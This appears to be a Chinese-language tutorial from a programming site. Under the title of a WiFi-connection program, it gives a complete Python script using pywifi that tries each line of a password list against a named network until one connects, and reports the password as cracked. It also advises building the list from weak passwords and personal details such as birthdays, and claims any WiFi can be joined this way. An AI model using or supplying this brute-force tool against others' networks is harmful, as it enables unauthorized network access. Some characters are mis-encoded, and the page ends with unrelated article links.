基于Python實現(xiàn)wifi連接小程序
有時候我們會忘記自己的Wi-Fi密碼,或者需要連接某個Wi-Fi網(wǎng)絡以滿足合法需求。本文將介紹如何使用Python編程語言編寫一個簡單的連接Wi-Fi的程序。
一、密碼本準備
在進行wifi猜測時,其實就是列出各種可能的密碼,用來嘗試去訪問目標wifi,直到找出正確的密碼為止,是密碼破解的一種方案。怎么有效去猜測wifi密碼呢,或者說日常中你使用的密碼為什么會被別人猜到,這就涉及到社會工程學,比如習慣使用“123456”、“8888888”等弱口令,使用手機號、生日、家庭住址相關聯(lián)作為密碼,那么就很容易被猜到,這里不過多介紹,理論上任何密碼都可以用這種方法來猜測連接,不過越復雜的密碼破解耗時也越長。
二、連接準備工作
python環(huán)境安裝
訪問Python官網(wǎng),點擊downloads按鈕,在下拉框中選擇系統(tǒng)類型,選擇下載最新版本的Python,沒有版本要求的話,盡量使用最新版本前幾個版本,避免新版本的不穩(wěn)定。雙擊下載好的Python安裝包,勾選左下角"Add Python 3.7 to PATH"選項,然后選擇"Install now"立刻安裝Python,默認安裝或自定義安裝。打開命令窗口,使用“python --version”查驗環(huán)境是否安裝成功。

下載安裝pywifi庫
pip install pywifi
以下對整個連接程序主要部分進行講解,最后提供完整的連接程序,可以使用自己的wifi網(wǎng)絡進行連接嘗試,密碼本先填寫幾個錯誤密碼,最后再寫入正確密碼,試驗是否成功連接wifi,只要密碼本夠全,理論上可以連接所有wifi。注意一行表示一個可能性密碼。
創(chuàng)建一個無線對象,獲取無線網(wǎng)卡
#抓取網(wǎng)卡接口 wifi=pywifi.PyWiFi() #獲取第一個無線網(wǎng)卡 ifaces=wifi.interfaces()[0]
創(chuàng)建WiFi連接文件
創(chuàng)建WiFi連接文件,選擇要連接WiFi的名稱,然后檢查WiFi的開發(fā)狀態(tài),查看wifi的加密算法,一般wifi加密算法為WPA2 PSK,檢查加密單元。
#創(chuàng)建WiFi連接文件 profile=pywifi.Profile() #要連接WiFi的名稱 profile.ssid="WiFi名稱" #網(wǎng)卡的開放狀態(tài) profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法為wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密單元 profile.cipher=const.CIPHER_TYPE_CCMP
嘗試連接wifi
密碼本采用只讀的方式,一行一行讀取,后續(xù)用于嘗試連接wifi。
#讀取密碼本
def readPassword():
print("開始破解:")
#密碼本路徑
path="wifi_pass.txt"
#打開文件
file=open(path,"r")
while True:
try:
#一行一行讀取
pad=file.readline()
#嘗試連接wifi
bool = wifiConnect(pad)
if not pad:
break
if bool:
print("密碼已破解: ",pad)
print("WiFi已自動連接?。?!")
break
else:
#跳出當前循環(huán),進行下一次循環(huán)
print("密碼破解中....密碼校對: ",pad)
except:
continue
三、完整程序代碼
# coding:utf-8
import pywifi
from pywifi import const
import time
#測試連接,返回鏈接結果
def wifiConnect(pwd):
#抓取網(wǎng)卡接口
wifi=pywifi.PyWiFi()
#獲取第一個無線網(wǎng)卡
ifaces=wifi.interfaces()[0]
#斷開所有連接
ifaces.disconnect()
time.sleep(1)
wifistatus=ifaces.status()
if wifistatus ==const.IFACE_DISCONNECTED:
#創(chuàng)建WiFi連接文件
profile=pywifi.Profile()
#要連接WiFi的名稱
profile.ssid="****_Wi-Fi5"
#網(wǎng)卡的開放狀態(tài)
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法為wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密單元
profile.cipher=const.CIPHER_TYPE_CCMP
#調(diào)用密碼
profile.key=pwd
#刪除所有連接過的wifi文件
ifaces.remove_all_network_profiles()
#設定新的連接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi連接時間
time.sleep(3)
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi連接")
#讀取密碼本
def readPassword():
print("開始破解:")
#密碼本路徑
path="wifi_pass.txt"
#打開文件
file=open(path,"r")
while True:
try:
#一行一行讀取
pad=file.readline()
#嘗試連接wifi
bool = wifiConnect(pad)
if not pad:
break
if bool:
print("密碼已破解: ",pad)
print("WiFi已自動連接?。?!")
break
else:
#跳出當前循環(huán),進行下一次循環(huán)
print("密碼破解中....密碼校對: ",pad)
except:
continue
readPassword()運行結果

到此這篇關于基于Python實現(xiàn)wifi連接小程序的文章就介紹到這了,更多相關Python連接wifi內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
Python中tkinter無法同時顯示多個image的解決方法及pack與place解析
這篇文章主要介紹了Python中tkinter無法同時顯示多個image的解決方法及pack與place解析,本文給大家分享問題原因解析及解決方案,需要的朋友可以參考下2023-02-02
C# DataGridView行列轉換的具體實現(xiàn)
本文主要介紹了C# DataGridView行列轉換的具體實現(xiàn),文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2023-02-02
將pymysql獲取到的數(shù)據(jù)類型是tuple轉化為pandas方式
這篇文章主要介紹了將pymysql獲取到的數(shù)據(jù)類型是tuple轉化為pandas方式,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-05-05
Python連接數(shù)據(jù)庫進行數(shù)據(jù)查詢的操作代碼
這篇文章主要介紹了Python連接數(shù)據(jù)庫進行數(shù)據(jù)查詢的操作代碼,本文給大家介紹的非常詳細,感興趣的朋友跟隨小編一起看看吧2024-06-06

